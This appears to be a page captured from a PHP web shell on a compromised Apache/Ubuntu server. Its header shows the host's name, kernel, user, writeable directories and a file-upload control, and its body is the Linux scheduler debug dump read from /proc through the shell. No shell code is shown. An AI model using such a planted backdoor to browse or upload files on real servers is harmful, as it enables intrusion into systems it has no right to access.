KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/sched_debug
Sched Debug Version: v0.11, 5.4.0-105-generic #119-Ubuntu
ktime                                   : 377767931.785839
sched_clk                               : 377771147.516619
cpu_clk                                 : 377771143.545997
jiffies                                 : 4389334230
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 3.000000
  .sysctl_sched_wakeup_granularity         : 4.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2059067
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4542502
  .nr_load_updates               : 0
  .nr_uninterruptible            : 39
  .next_balance                  : 4389.333940
  .curr->pid                     : 0
  .clock                         : 377771143.238821
  .clock_task                    : 377771143.238821
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1304536.092015
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S       kthreadd     2   1300542.872206      1243   120         0.000000       475.050865         0.000000 0 0 /
 I         rcu_gp     3       115.086814         2   100         0.000000         0.005050         0.000000 0 0 /
 I     rcu_par_gp     4       116.587178         2   100         0.000000         0.002134         0.000000 0 0 /
 I   kworker/0:0H     6      1098.662894         4   100         0.000000         0.087244         0.000000 0 0 /
 S    ksoftirqd/0    10   1300419.971728      7501   120         0.000000       958.363684         0.000000 0 0 /
 S    migration/0    12         0.000000     94698     0         0.000000      2844.066681         0.000000 0 0 /
 S  idle_inject/0    13         0.000000         3    49         0.000000         0.006474         0.000000 0 0 /
 S        cpuhp/0    14       676.651444        10   120         0.000000         0.793771         0.000000 0 0 /
 Iacpi_thermal_pm   129       604.010099         2   100         0.000000         0.424947         0.000000 0 0 /
 I          kstrp   148       688.524746         2   100         0.000000         0.034685         0.000000 0 0 /
 S    jbd2/sda3-8   236   1304524.577436    284555   120         0.000000     28815.832155         0.000000 0 0 /
 I   kworker/0:1H   291   1304524.093621     66100   100         0.000000      1982.089529         0.000000 0 0 /
 S           cron   412      7092.725176      8951   120         0.000000      5709.975965         0.000000 0 0 /autogroup-32
 S          gmain   426         3.045687         1   120         0.000000         0.063138         0.000000 0 0 /autogroup-36
 S       rsyslogd   423      9744.510922       659   120         0.000000       106.271823         0.000000 0 0 /autogroup-38
 S  rs:main Q:Reg   439      9756.591434    144136   120         0.000000     37367.670540         0.000000 0 0 /autogroup-38
 S        polkitd   451        15.974267        72   120         0.000000        25.612953         0.000000 0 0 /autogroup-51
 I    kworker/0:0 96174   1304526.206383    100722   120         0.000000      8714.096625         0.000000 0 0 /
 I    kworker/0:2 118894   1216956.285677         2   120         0.000000         0.016230         0.000000 0 0 /
 S        apache2 120616    805072.581406      1013   120         0.000000      2307.134758         0.000000 0 0 /autogroup-56
 S        apache2 120617    804653.184183       244   120         0.000000      2032.218086         0.000000 0 0 /autogroup-56

cpu#1, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4557821
  .nr_load_updates               : 0
  .nr_uninterruptible            : 84
  .next_balance                  : 4389.334219
  .curr->pid                     : 0
  .clock                         : 377771143.588597
  .clock_task                    : 377771143.588597
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1239275.769857
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -65260.322158
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 15
  .runnable_load_avg             : 0
  .util_avg                      : 15
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I      rcu_sched    11   1239275.769857   5973873   120         0.000000    454640.008375         0.000000 0 0 /
 S        cpuhp/1    15       298.201746        10   120         0.000000         0.297711         0.000000 0 0 /
 S  idle_inject/1    16        -3.000000         3    49         0.000000         0.001352         0.000000 0 0 /
 S    migration/1    17         0.000000     94683     0         0.000000      3151.161453         0.000000 0 0 /
 S    ksoftirqd/1    18   1239251.027819      8870   120         0.000000      2412.353136         0.000000 0 0 /
 I   kworker/1:0H    20       600.180391         5   100         0.000000         0.121118         0.000000 0 0 /
 I     tpm_dev_wq   116        10.978939         2   100         0.000000         0.027521         0.000000 0 0 /
 Ivfio-irqfd-clea   135       307.135245         2   100         0.000000         0.032892         0.000000 0 0 /
 I   kworker/1:1H   234   1238694.400824     49571   100         0.000000      2061.659370         0.000000 0 0 /
 Ssystemd-timesyn   400       326.641152      3656   120         0.000000      2774.231908         0.000000 0 0 /autogroup-29
 S          gmain   471        17.483209         1   120         0.000000         0.404398         0.000000 0 0 /autogroup-53
 I    kworker/1:2 94045   1239254.490657     49209   120         0.000000      3814.841114         0.000000 0 0 /
 I    kworker/1:1 118618   1163775.955552         2   120         0.000000         0.110817         0.000000 0 0 /
 S        apache2 120460    742454.513387       620   120         0.000000      2064.152576         0.000000 0 0 /autogroup-56
 S        apache2 120479    742459.909813       353   120         0.000000      1408.137761         0.000000 0 0 /autogroup-56
 S        apache2 120618    742975.449103       361   120         0.000000       718.910110         0.000000 0 0 /autogroup-56

cpu#2, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4115835
  .nr_load_updates               : 0
  .nr_uninterruptible            : -126
  .next_balance                  : 4389.334100
  .curr->pid                     : 0
  .clock                         : 377771143.221098
  .clock_task                    : 377771143.221098
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1204360.156585
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -100175.935430
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[2]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[2]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/2    21       106.918394        10   120         0.000000         0.500127         0.000000 0 0 /
 S  idle_inject/2    22        -6.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 S    migration/2    23       165.672828     94662     0         0.000000      3077.433100         0.000000 0 0 /
 S    ksoftirqd/2    24   1203741.563968      3424   120         0.000000       774.727479         0.000000 0 0 /
 I   kworker/2:0H    26      2962.007954         5   100         0.000000         0.081624         0.000000 0 0 /
 I          netns    58        22.964426         2   100         0.000000         0.002354         0.000000 0 0 /
 I             md   118        34.974158         2   100         0.000000         0.009738         0.000000 0 0 /
 I       kthrotld   128        46.986456         2   100         0.000000         0.014207         0.000000 0 0 /
 I  kworker/u17:0   152       143.236819         2   100         0.000000         0.059151         0.000000 0 0 /
 I         cryptd   341      1691.757725         2   100         0.000000         0.025398         0.000000 0 0 /
 Ssystemd-resolve   399       613.451484      4512   120         0.000000      4180.391959         0.000000 0 0 /autogroup-28
 S          gdbus   433      1544.585268        45   120         0.000000        26.291789         0.000000 0 0 /autogroup-31
 S     irqbalance   418      2111.376316     37825   120         0.000000     18763.945295         0.000000 0 0 /autogroup-36
 I   kworker/2:1H   458   1204242.555974     50534   100         0.000000      1855.286954         0.000000 0 0 /
 S           sshd   468     50321.795212    110471   120         0.000000     54941.080126         0.000000 0 0 /autogroup-54
 I    kworker/2:1 118264   1203116.048649      3190   120         0.000000       258.765759         0.000000 0 0 /
 I  kworker/u16:2 119190   1203866.259634      4197   120         0.000000       444.084515         0.000000 0 0 /
 I  kworker/u16:1 119497   1203768.830928      2185   120         0.000000       245.245669         0.000000 0 0 /
 I    kworker/2:0 120467   1204348.282180       362   120         0.000000        20.725008         0.000000 0 0 /
 S        apache2 120649    733617.507685       213   120         0.000000      3324.677037         0.000000 0 0 /autogroup-56
 S        apache2 120661    733112.744229        38   120         0.000000       614.963895         0.000000 0 0 /autogroup-56

cpu#3, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4162250
  .nr_load_updates               : 0
  .nr_uninterruptible            : 15
  .next_balance                  : 4389.334199
  .curr->pid                     : 0
  .clock                         : 377771143.234894
  .clock_task                    : 377771143.234894
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[3]:/autogroup-56
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 683895.904326
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -620640.187689
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 1
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 1
  .tg_load_avg                   : 12
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 377770965.783219
  .se->vruntime                  : 1167982.598648
  .se->sum_exec_runtime          : 709136.355060
  .se->load.weight               : 1048576
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 1
  .se->avg.util_avg              : 1
  .se->avg.runnable_load_avg     : 0

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1167982.598648
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -136553.493367
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 1
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[3]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[3]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/3    27        74.517712        10   120         0.000000         0.457917         0.000000 0 0 /
 S  idle_inject/3    28        -6.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 S    migration/3    29       199.672812     94687     0         0.000000      3189.861732         0.000000 0 0 /
 S    ksoftirqd/3    30   1167745.547359      8314   120         0.000000      1827.957274         0.000000 0 0 /
 I   kworker/3:0H    32      1144.858995         5   100         0.000000         0.060413         0.000000 0 0 /
 Srcu_tasks_kthre    59        10.953893         2   120         0.000000         0.002475         0.000000 0 0 /
 S        kauditd    60      2784.998539         6   120         0.000000         0.205526         0.000000 0 0 /
 S     khungtaskd    61   1167537.101300      3128   120         0.000000       455.597285         0.000000 0 0 /
 S     oom_reaper    62        46.975857         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback    63        46.975857         2   100         0.000000         0.000000         0.000000 0 0 /
 I    edac-poller   119        46.984123         2   100         0.000000         0.008266         0.000000 0 0 /
 S      scsi_eh_1   132       185.860956         4   120         0.000000         2.285916         0.000000 0 0 /
 S      scsi_eh_2   206       645.527030         2   120         0.000000         0.015089         0.000000 0 0 /
 I   kworker/3:1H   299   1167482.427051    100225   100         0.000000      2371.111302         0.000000 0 0 /
 S  systemd-udevd   303      8803.501409     16259   120         0.000000     13921.516753         0.000000 0 0 /autogroup-22
 Saccounts-daemon   411      1638.339775        68   120         0.000000        20.086435         0.000000 0 0 /autogroup-31
 Sunattended-upgr   467        48.478256       154   120         0.000000       113.629983         0.000000 0 0 /autogroup-53
 I    kworker/3:2 117065   1162656.168072      4821   120         0.000000       453.460159         0.000000 0 0 /
 S        apache2 120464    683895.904326       372   120         0.000000      5053.948950         0.000000 0 0 /autogroup-56
 I    kworker/3:0 120614   1167963.593481       328   120         0.000000        20.100341         0.000000 0 0 /

cpu#4, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4131522
  .nr_load_updates               : 0
  .nr_uninterruptible            : -32
  .next_balance                  : 4389.333508
  .curr->pid                     : 0
  .clock                         : 377771143.235595
  .clock_task                    : 377771143.235595
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

rt_rq[4]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[4]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1      7727.590157    144380   120         0.000000     56347.108007         0.000000 0 0 /autogroup-2
 S        cpuhp/4    33        59.778186        10   120         0.000000         0.296988         0.000000 0 0 /
 S  idle_inject/4    34        -9.000000         3    49         0.000000         0.001753         0.000000 0 0 /
 S    migration/4    35         0.000000     94696     0         0.000000      3081.186943         0.000000 0 0 /
 S    ksoftirqd/4    36   1147682.099990      2911   120         0.000000       637.987570         0.000000 0 0 /
 I   kworker/4:0H    38      1641.778080         5   100         0.000000         0.075142         0.000000 0 0 /
 S     kcompactd0    64        10.951418         2   120         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    65        10.951418         2   125         0.000000         0.000000         0.000000 0 0 /
 S     khugepaged    66        10.951418         2   139         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd   113        49.222937         2   100         0.000000         0.000000         0.000000 0 0 /
 I     devfreq_wq   120        49.222937         2   100         0.000000         0.000000         0.000000 0 0 /
 I     scsi_tmf_0   131        49.323958         2   100         0.000000         0.104657         0.000000 0 0 /
 I     scsi_tmf_2   209       259.267474         2   100         0.000000         0.057919         0.000000 0 0 /
 S    jbd2/sda2-8   373      2165.772141        14   120         0.000000         0.652755         0.000000 0 0 /
 Iext4-rsv-conver   374      1653.777476         2   100         0.000000         0.028483         0.000000 0 0 /
 I   kworker/4:1H   375   1148231.738229     58987   100         0.000000      1688.205630         0.000000 0 0 /
 Snetworkd-dispat   422         3.778849       212   120         0.000000       127.854947         0.000000 0 0 /autogroup-37
 S      in:imklog   438      9966.497023       112   120         0.000000       125.757882         0.000000 0 0 /autogroup-38
 S          gmain   454        -5.214785         2   120         0.000000         0.188373         0.000000 0 0 /autogroup-51
 I    kworker/4:2 93261   1148256.131711     27224   120         0.000000      1996.606953         0.000000 0 0 /
 I    kworker/4:0 118265   1073566.996143         3   120         0.000000         0.170469         0.000000 0 0 /

cpu#5, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4113890
  .nr_load_updates               : 0
  .nr_uninterruptible            : -27
  .next_balance                  : 4389.333596
  .curr->pid                     : 0
  .clock                         : 377771143.237870
  .clock_task                    : 377771143.237870
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[5]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1398736.005385
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 94199.913370
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[5]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[5]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/5    39        25.561973        10   120         0.000000         0.827413         0.000000 0 0 /
 S  idle_inject/5    40        -9.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 S    migration/5    41       290.679455     94686     0         0.000000      3119.866110         0.000000 0 0 /
 S    ksoftirqd/5    42   1398508.470510     15814   120         0.000000      4317.431193         0.000000 0 0 /
 I   kworker/5:0H    44      3153.268167         5   100         0.000000         0.037361         0.000000 0 0 /
 I        kblockd   114        10.951418         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd   121        11.999994         2     0         0.000000         0.000000         0.000000 0 0 /
 S        kswapd0   125        23.232999         3   120         0.000000         0.185697         0.000000 0 0 /
 Icharger_manager   165       110.212497         2   100         0.000000         0.137087         0.000000 0 0 /
 Ssystemd-journal   271     13472.403158    235969   119         0.000000    135384.929442         0.000000 0 0 /autogroup-3
 Ssystemd-network   319       327.773500      5230   120         0.000000      2501.585877         0.000000 0 0 /autogroup-23
 S          gmain   419      7082.364700    460405   120         0.000000     65125.479841         0.000000 0 0 /autogroup-31
 S          gdbus   457         6.002126        66   120         0.000000        39.941413         0.000000 0 0 /autogroup-51
 I   kworker/5:1H   459   1398669.003314     63699   100         0.000000      1759.750779         0.000000 0 0 /
 S        apache2   474    894617.525173    382188   120         0.000000    144263.676664         0.000000 0 0 /autogroup-56
 I    kworker/5:2 107001   1398724.173077     22387   120         0.000000      1779.178839         0.000000 0 0 /
 I    kworker/5:1 118615   1313848.744464         3   120         0.000000         0.097293         0.000000 0 0 /
 I  kworker/u16:0 120658   1398736.005385       530   120         0.000000        79.232214         0.000000 0 0 /

cpu#6, 2794.748 MHz
  .nr_running                    : 0
  .nr_switches                   : 4219288
  .nr_load_updates               : 0
  .nr_uninterruptible            : 55
  .next_balance                  : 4389.334108
  .curr->pid                     : 0
  .clock                         : 377771143.238471
  .clock_task                    : 377771143.238471
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[6]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1629758.243327
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 325222.151312
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[6]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[6]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/6    45        36.080991        10   120         0.000000         0.496712         0.000000 0 0 /
 S  idle_inject/6    46        -9.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 S    migration/6    47       341.679428     94671     0         0.000000      3118.672481         0.000000 0 0 /
 S    ksoftirqd/6    48   1629742.995927     10538   120         0.000000      3339.865784         0.000000 0 0 /
 I   kworker/6:0H    50      2030.200035         5   100         0.000000         0.046797         0.000000 0 0 /
 I blkcg_punt_bio   115        10.951418         2   100         0.000000         0.000000         0.000000 0 0 /
 Secryptfs-kthrea   126        35.834293         2   120         0.000000         0.060354         0.000000 0 0 /
 I     scsi_tmf_1   133        47.907757         2   100         0.000000         0.075512         0.000000 0 0 /
 Iext4-rsv-conver   237       393.049466         2   100         0.000000         0.062328         0.000000 0 0 /
 S     sd-resolve   410        12.597270        16   120         0.000000         6.341700         0.000000 0 0 /autogroup-29
 S    dbus-daemon   413       286.720940      1812   120         0.000000      1992.259166         0.000000 0 0 /autogroup-33
 S    in:imuxsock   437     10452.915124    155041   120         0.000000     42725.724698         0.000000 0 0 /autogroup-38
 I   kworker/6:1H   460   1627444.345654     36078   100         0.000000      1238.530671         0.000000 0 0 /
 S         agetty   466         2.924326         6   120         0.000000         5.593300         0.000000 0 0 /autogroup-59
 I    kworker/6:2 109053   1629746.797876     42504   120         0.000000      3100.645182         0.000000 0 0 /
 I    kworker/6:0 114562   1522666.761488        11   120         0.000000        23.422904         0.000000 0 0 /
 S        apache2 120462   1099786.751049       445   120         0.000000      3958.671528         0.000000 0 0 /autogroup-56

cpu#7, 2794.748 MHz
  .nr_running                    : 1
  .nr_switches                   : 4089865
  .nr_load_updates               : 0
  .nr_uninterruptible            : -8
  .next_balance                  : 4389.334344
  .curr->pid                     : 120461
  .clock                         : 377771142.843811
  .clock_task                    : 377771142.843811
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[7]:/autogroup-56
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1085486.902252
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -219049.189763
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 11
  .runnable_load_avg             : 11
  .util_avg                      : 11
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 11
  .tg_load_avg                   : 12
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 377771142.821920
  .se->vruntime                  : 1601441.014605
  .se->sum_exec_runtime          : 1128449.658969
  .se->load.weight               : 1042467
  .se->runnable_weight           : 1042467
  .se->avg.load_avg              : 11
  .se->avg.util_avg              : 11
  .se->avg.runnable_load_avg     : 11

cfs_rq[7]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1601441.014605
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 296904.922590
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1042467
  .runnable_weight               : 1042467
  .load_avg                      : 11
  .runnable_load_avg             : 11
  .util_avg                      : 11
  .util_est_enqueued             : 41
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[7]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[7]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I   mm_percpu_wq     9    819651.111140         8   100         0.000000         2.985391         0.000000 0 0 /
 S        cpuhp/7    51        23.628512        10   120         0.000000         2.464362         0.000000 0 0 /
 S  idle_inject/7    52        -9.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 S    migration/7    53       392.679401     94713     0         0.000000      3088.885200         0.000000 0 0 /
 S    ksoftirqd/7    54   1599737.932844      9262   120         0.000000      2684.668102         0.000000 0 0 /
 I   kworker/7:0H    56      2139.132201         5   100         0.000000         0.066444         0.000000 0 0 /
 S      kdevtmpfs    57      2116.531763       175   120         0.000000        12.560351         0.000000 0 0 /
 I        ata_sff   117        10.951418         2   100         0.000000         0.000000         0.000000 0 0 /
 S      scsi_eh_0   130        23.764587         4   120         0.000000         0.679454         0.000000 0 0 /
 I  ipv6_addrconf   139        35.517975         2   100         0.000000         0.082344         0.000000 0 0 /
 S systemd-logind   425       322.524349      5042   120         0.000000      2298.424872         0.000000 0 0 /autogroup-40
 I   kworker/7:1H   461   1601426.373120     54951   100         0.000000      1632.656412         0.000000 0 0 /
 I    kworker/7:2 115038   1601426.405231      9931   120         0.000000       848.775751         0.000000 0 0 /
 I    kworker/7:1 119142   1525751.656380         3   120         0.000000         0.044123         0.000000 0 0 /
>R        apache2 120461   1085486.902252       518   120         0.000000      2720.358867         0.000000 0 0 /autogroup-56
 S        apache2 120478   1085427.204151       571   120         0.000000      1762.996253         0.000000 0 0 /autogroup-56


Anon7 - 2021